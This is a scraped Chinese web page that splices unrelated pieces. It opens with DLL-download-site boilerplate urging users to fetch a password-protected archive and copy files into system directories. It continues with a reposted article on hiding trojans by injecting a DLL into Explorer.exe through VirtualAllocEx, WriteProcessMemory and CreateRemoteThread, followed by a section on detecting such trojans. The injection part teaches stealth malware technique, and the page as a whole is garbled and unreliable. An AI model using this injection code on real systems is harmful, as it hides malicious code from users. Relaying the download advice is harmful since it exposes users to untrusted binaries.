文件位置：
MuToolProject.exe文件是什么?
Tomato Studio
文件路径:C:\Windows\system32\
文件描述:MuToolProject.exe
感谢您发表评论！
键入图片中的字符:
如果您的系统软件或游戏提示“找不到MuToolProject.exe”或“MuToolProject.exe缺失损坏” 或者“exe等错误,在本页下载MuToolProject.RAR文件包,解压缩后找到适合的版本文件,直接拷贝到原目录即可解决错误提示！默认解压密码:www.wenjian.net
联系人工(解决Windows系统各类软件故障)
声明：由于文件众多,本站的某些文件可能还无法下载，因为各种各样的文件达到几十万之多,所以我们还无法为每个文件一一提供下载，但是我们为此在做努力，每天坚持更新,相信在不久，网站的任意一个安全文件都可以顺利下载，真正解决大家因丢失、缺少文件导致程序无法运行的烦恼。
MuToolProject.exe 是 未知文件您所在的位置：
&FwForceViewProp407.dll(FwForceViewProp407.dll下载)官方版
点击查看大图
大小：5 KB
语言：简体中文
授权：免费软件
FwForceViewProp407.dll软件介绍
如果您的系统提示“找不到FwForceViewProp407.dll”或“FwForceViewProp407.dll缺失”
或者“FwForceViewProp407.dll错误”等等，请不用担心，来本站下载***即可。
FwForceViewProp407.dll同类推荐
FwForceViewProp407.dll下载地址
986184次下载
77143次下载
24361次下载
170334次下载
4645次下载
49730次下载
36153次下载
111254次下载
26187次下载
7166次下载
986184次下载
202685次下载
201241次下载
170334次下载
151283次下载
147655次下载
143609次下载
115769次下载
113709次下载
111254次下载
热门关键字您现在的位置：&>&&>&&>&
育龙网&WWW.CHINA-B.C0M&& 日&&来源：互联网
核心提示：
——WINNT下隐藏木马的进程 DLL木马篇—— NT系统下木马进程的隐藏在WIN9X中，只需要将进程注册为系统服务就能够从进程查看器中隐形，
file://允许远程VM操作PROCESS_VM_WRITE，//允许远程VM写FALSE， dwRemoteProcessId )由于我们后面需要写入远程进程的内存地址空间并建立远程线程，所以需要申请足够的权限（PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE）。然后，我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马，LoadLibraryW函数是在kernel32.dll中定义的，用来加载DLL文件，它只有一个参数，就是DLL文件的绝对路径名pszLibFileName，（也就是木马DLL的全路径文件名），但是由于木马DLL是在远程进程内调用的，所以我们首先还需要将这个文件名复制到远程地址空间：（否则远程线程是无法读到这个参数的）file://计算DLL路径名需要的内存空间int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);file://使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess， NULL， cb， MEM_COMMIT， PAGE_READWRITE);file://使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间iReturnCode = WriteProcessMemory(hRemoteProcess，pszLibFileRemote， (PVOID) pszLibFileName， cb， NULL);file://计算LoadLibraryW的入口地址PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32"))， "LoadLibraryW");OK，万事俱备，我们通过建立远程线程时的地址pfnStartAddr（实际上就是LoadLibraryW的入口地址）和传递的参数pszLibFileRemote（实际上是我们复制过去的木马DLL的全路径文件名）在远程进程内启动我们的木马DLL：file://启动远程线程LoadLibraryW，通过远程线程调用用户的DLL文件hRemoteThread = CreateRemoteThread( hRemoteProcess， NULL， 0， pfnStartAddr， pszLibFileRemote， 0， NULL);至此，远程嵌入顺利完成，为了试验我们的DLL是不是已经正常的在远程线程运行，我编写了以下的测试DLL：BOOL APIE***Y DllMain(HANDLE hModule， DWORD reason， LPVOID lpReserved){char szProcessId[64] ;switch ( reason ){case DLL_PROCESS_ATTACH:{file://获取当前进程ID_itoa ( GetCurrentProcessId()， szProcessId， 10 );MessageBox ( NULL， szProcessId， "RemoteDLL"， MB_OK );}default:return TRUE;}}当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后（PID=1208），该测试DLL弹出了1208字样的确认框，同时使用PS工具也能看到Process ID: 1208 C:\WINNT\Explorer.exe (0x)……C:\TestDLL.dll (0x)……这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。无论是使用特洛伊DLL还是使用远程线程，都是让木马的核心代码运行于别的进程的内存空间，这样不仅能很好地隐藏自己，也能更好的保护自己。这个时候，我们可以说已经实现了一个真正意义上的木马，它不仅欺骗、进入你的，甚至进入了进程的内部，从某种意义上说，这种木马已经具备了病毒的很多特性，例如隐藏和寄生（和宿主同生共死），如果有一天，出现了具备所有病毒特性的木马（不是指蠕虫，而是传统意义上的寄生病毒），我想我并不会感到奇怪，倒会疑问这一天为什么这么迟才到来。DLL木马的查杀 要是我的这篇文章到此结束，那么就变成了DLL木马编写教学了:P，其实我们了解DLL木马原理的最终目的还是为了更好的防御它，所以，让我们来讨论一下DLL木马的查杀。 DLL木马对于进程管理器来说是隐藏的，所以我们既不能用进程管理器来查找，也无法直接将它停止运行，假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉，但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程（IIS），那么即使是管理员，也不能直接终止木马的运行。（在NT中，系统进程不能被直接kill）。因此，我们不能指望NT自带的进程管理器了，需要使用一些附加的工具。一、 进程/内存模块查看器：为了能发现DLL木马，我们必须能查看内存中运行的DLL模块（记得么？DLL木马运行在已有的进程内），前面说了，在Windows下查看进程/内存模块的方法很多，有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具，补天的雏鹰用PDH写了一个更加强大的进程查看器，支持查看远程主机状况（知道员密码的情况下），希望早日整理发布。PS工具可以在以下地址下载到：http://isforce.51.net/down/ps.zip实际上，由于Windows系统的复杂性，即使有了上面的工具，查找DLL木马仍然是非常艰难的，只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个，所以，平时使用PS工具备份一个DLL文件列表会比较有帮助，方法很简单，ps.exe /a /m ps.log。二、 端口进程关联软件：关联端口和进程的软件也是重要的工具之一，虽然DLL木马隐藏在其他进程中，但是多多少少会有一些异常，功能强大的Fport就是一个优秀的进程端口关联软件，可以在以下地址下载到：http://isforce.51.net/down/FPortNG.zip三、 嗅探器：嗅探器帮助我们发现异常的网络通讯，从而引起我们的警惕和关注，嗅探器的原理很简单，通过将网卡设为混杂模式就可以接受所有的IP报文，嗅探程序可以从中选择值得关注的部分进行分析，剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器，任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具：代码及头文件： http://isforce.51.net/down/GUNiffer.zip编译后的程序： http://isforce.51.net/down/GUNiffer.exe四、 注册表保护软件：可以想象，DLL木马仍然会继续利用注册表来启动自己（在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢？）不同的是，DLL木马不仅仅局限于Run、Runonce这些众所周知的子键，而是拥有更多的选择。例如对于特洛伊DLL来说，KnownDLLs子键就是再好不过的藏身之处，在注册表的HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\KnownDLLs子键下，存放着一些已知DLL的默认路径，假设DLL木马修改或增加了某个键值，那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多，Lockdown2000就内置这样的功能，另外，SysInternals的Regmon也很不错，下载地址：http://isforce.51.net/down/ntregmon.zip五、 文件保护：除了注册表，文件也是DLL木马的启动工具，利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL，特洛伊DLL更是层出不穷，同样是SysInternals出品的Filemon可以担当文件保护的重则：http://isforce.51.net/down/ntfilmon.zipDLL木马的查杀非常复杂，并不是一天两天能够掌握的，目前补天公司也正在进行相关防御软件的开发，希望很快能为大家提供一个简单快捷的解决方案。最后，感谢西祠的Lion Hook在DLL文件操作上对我的指导，同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术，让我学到了很多的东西。本文【==未知==】
相关热词搜索:
-- 本站部分信息来源于互联网，不代表本站观点或立场，如有侵权，请来电告知，我们将及时处理
